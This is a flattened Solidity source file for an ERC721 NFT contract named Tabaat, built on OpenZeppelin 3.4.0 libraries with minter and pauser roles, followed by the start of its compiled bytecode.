calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // Part: OpenZeppelin/openzeppelin-contracts@3.4.0/Counters /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // Part: OpenZeppelin/openzeppelin-contracts@3.4.0/ERC165 /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // Part: OpenZeppelin/openzeppelin-contracts@3.4.0/IERC721 /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // Part: OpenZeppelin/openzeppelin-contracts@3.4.0/Pausable /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // Part: OpenZeppelin/openzeppelin-contracts@3.4.0/IERC721Enumerable /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // Part: OpenZeppelin/openzeppelin-contracts@3.4.0/IERC721Metadata /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // Part: OpenZeppelin/openzeppelin-contracts@3.4.0/ERC721 /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // Part: OpenZeppelin/openzeppelin-contracts@3.4.0/ERC721Burnable /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721Burnable is Context, ERC721 { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } // Part: OpenZeppelin/openzeppelin-contracts@3.4.0/ERC721Pausable /** * @dev ERC721 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC721Pausable is ERC721, Pausable { /** * @dev See {ERC721-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); require(!paused(), "ERC721Pausable: token transfer while paused"); } } // File: Tabaat.sol contract Tabaat is Context, AccessControl, ERC721Burnable, ERC721Pausable { using Counters for Counters.Counter; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); Counters.Counter private _tokenIdTracker; /** * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the * account that deploys the contract. */ constructor(string memory name, string memory symbol) public ERC721(name, symbol) { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); } /** * @dev Creates a new token for `to`. Its token ID will be automatically * assigned (and available on the emitted {IERC721-Transfer} event), and the token * URI is specified as a parameter. * * See {ERC721-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to, string memory tokenURI) public { require(hasRole(MINTER_ROLE, _msgSender()), "Must have minter role to mint"); uint256 tokenId = _tokenIdTracker.current(); _mint(to, tokenId); _setTokenURI(tokenId, tokenURI); _tokenIdTracker.increment(); } function setTokenURI(uint256 tokenId, string memory tokenURI) public { require(hasRole(MINTER_ROLE, _msgSender()), "Must have minter role to set token URI"); _setTokenURI(tokenId, tokenURI); } /** * @dev Pauses all token transfers. * * See {ERC721Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "Must have pauser role to pause"); _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC721Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "Must have pauser role to unpause"); _unpause(); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Pausable) { super._beforeTokenTransfer(from, to, tokenId); } }
0x608060405234801561001057600080fd5b50600436106101fb5760003560e01c80636352211e1161011a578063a22cb465116100ad578063d0def5211161007c578063d0def5211461071d578063d5391393146107d3578063d547741f146107db578063e63ab1e914610807578063e985e9c51461080f576101fb565b8063a22cb465146105ef578063b88d4fde1461061d578063c87b56dd146106e3578063ca15c87314610700576101fb565b80639010d07c116100e95780639010d07c1461059057806391d14854146105b357806395d89b41146105df578063a217fddf146105e7576101fb565b80636352211e1461053d5780636c0360eb1461055a57806370a08231146105625780638456cb5914610588576101fb565b80632f2ff15d1161019257806342842e0e1161016157806342842e0e146104c557806342966c68146104fb5780634f6ccce7146105185780635c975abb14610535576101fb565b80632f2ff15d146104395780632f745c591461046557806336568abe146104915780633f4ba83a146104bd576101fb565b8063162094c4116101ce578063162094c41461031f57806318160ddd146103cc57806323b872dd146103e6578063248a9ca31461041c576101fb565b806301ffc9a71461020057806306fdde031461023b578063081812fc146102b8578063095ea7b3146102f1575b600080fd5b6102276004803603602081101561021657600080fd5b50356001600160e01b03191661083d565b604080519115158252519081900360200190f35b610243610860565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561027d578181015183820152602001610265565b50505050905090810190601f1680156102aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102d5600480360360208110156102ce57600080fd5b50356108f6565b604080516001600160a01b039092168252519081900360200190f35b61031d6004803603604081101561030757600080fd5b506001600160a01b038135169060200135610958565b005b61031d6004803603604081101561033557600080fd5b8135919081019060408101602082013564010000000081111561035757600080fd5b82018360208201111561036957600080fd5b8035906020019184600183028401116401000000008311171561038b57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610a33945050505050565b6103d4610aad565b60408051918252519081900360200190f35b61031d600480360360608110156103fc57600080fd5b506001600160a01b03813581169160208101359091169060400135610abe565b6103d46004803603602081101561043257600080fd5b5035610b15565b61031d6004803603604081101561044f57600080fd5b50803590602001356001600160a01b0316610b2a565b6103d46004803603604081101561047b57600080fd5b506001600160a01b038135169060200135610b8d565b61031d600480360360408110156104a757600080fd5b50803590602001356001600160a01b0316610bb8565b61031d610c19565b61031d600480360360608110156104db57600080fd5b506001600160a01b03813581169160208101359091169060400135610ca0565b61031d6004803603602081101561051157600080fd5b5035610cbb565b6103d46004803603602081101561052e57600080fd5b5035610d0d565b610227610d23565b6102d56004803603602081101561055357600080fd5b5035610d2c565b610243610d54565b6103d46004803603602081101561057857600080fd5b50356001600160a01b0316610db5565b61031d610e1d565b6102d5600480360360408110156105a657600080fd5b5080359060200135610ea2565b610227600480360360408110156105c957600080fd5b50803590602001356001600160a01b0316610eba565b610243610ed2565b6103d4610f33565b61031d6004803603604081101561060557600080fd5b506001600160a01b0381351690602001351515610f38565b61031d6004803603608081101561063357600080fd5b6001600160a01b0382358116926020810135909116916040820135919081019060808101606082013564010000000081111561066e57600080fd5b82018360208201111561068057600080fd5b803590602001918460018302840111640100000000831117156106a257600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061103d945050505050565b610243600480360360208110156106f957600080fd5b503561109b565b6103d46004803603602081101561071657600080fd5b503561131c565b61031d6004803603604081101561073357600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561075e57600080fd5b82018360208201111561077057600080fd5b8035906020019184600183028401116401000000008311171561079257600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611333945050505050565b6103d46113dc565b61031d600480360360408110156107f157600080fd5b50803590602001356001600160a01b0316611400565b6103d4611459565b6102276004803603604081101561082557600080fd5b506001600160a01b038135811691602001351661147d565b6001600160e01b0319811660009081526001602052604090205460ff165b919050565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108ec5780601f106108c1576101008083540402835291602001916108ec565b820191906000526020600020905b8154815290600101906020018083116108cf57829003601f168201915b5050505050905090565b6000610901826114c0565b61093c5760405162461bcd60e51b815260040180806020018281038252602c8152602001806127c2602c913960400191505060405180910390fd5b506000908152600560205260409020546001600160a01b031690565b600061096382610d2c565b9050806001600160a01b0316836001600160a01b031614156109b65760405162461bcd60e51b81526004018080602001828103825260218152602001806128726021913960400191505060405180910390fd5b806001600160a01b03166109c86114cd565b6001600160a01b031614806109e957506109e9816109e46114cd565b61147d565b610a245760405162461bcd60e51b81526004018080602001828103825260388152602001806127156038913960400191505060405180910390fd5b610a2e83836114d1565b505050565b610a647f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6610a5f6114cd565b610eba565b610a9f5760405162461bcd60e51b81526004018080602001828103825260268152602001806128c46026913960400191505060405180910390fd5b610aa9828261153f565b5050565b6000610ab960036115a2565b905090565b610acf610ac96114cd565b826115ad565b610b0a5760405162461bcd60e51b81526004018080602001828103825260318152602001806128936031913960400191505060405180910390fd5b610a2e838383611651565b60009081526020819052604090206002015490565b600082815260208190526040902060020154610b4890610a5f6114cd565b610b835760405162461bcd60e51b815260040180806020018281038252602f815260200180612634602f913960400191505060405180910390fd5b610aa9828261179d565b6001600160a01b0382166000908152600260205260408120610baf9083611806565b90505b92915050565b610bc06114cd565b6001600160a01b0316816001600160a01b031614610c0f5760405162461bcd60e51b815260040180806020018281038252602f81526020018061291a602f913960400191505060405180910390fd5b610aa98282611812565b610c457f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a610a5f6114cd565b610c96576040805162461bcd60e51b815260206004820181905260248201527f4d75737420686176652070617573657220726f6c6520746f20756e7061757365604482015290519081900360640190fd5b610c9e61187b565b565b610a2e8383836040518060200160405280600081525061103d565b610cc6610ac96114cd565b610d015760405162461bcd60e51b81526004018080602001828103825260308152602001806128ea6030913960400191505060405180910390fd5b610d0a8161191b565b50565b600080610d1b6003846119e8565b509392505050565b600b5460ff1690565b6000610bb2826040518060600160405280602981526020016127776029913960039190611a04565b600a8054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108ec5780601f106108c1576101008083540402835291602001916108ec565b60006001600160a01b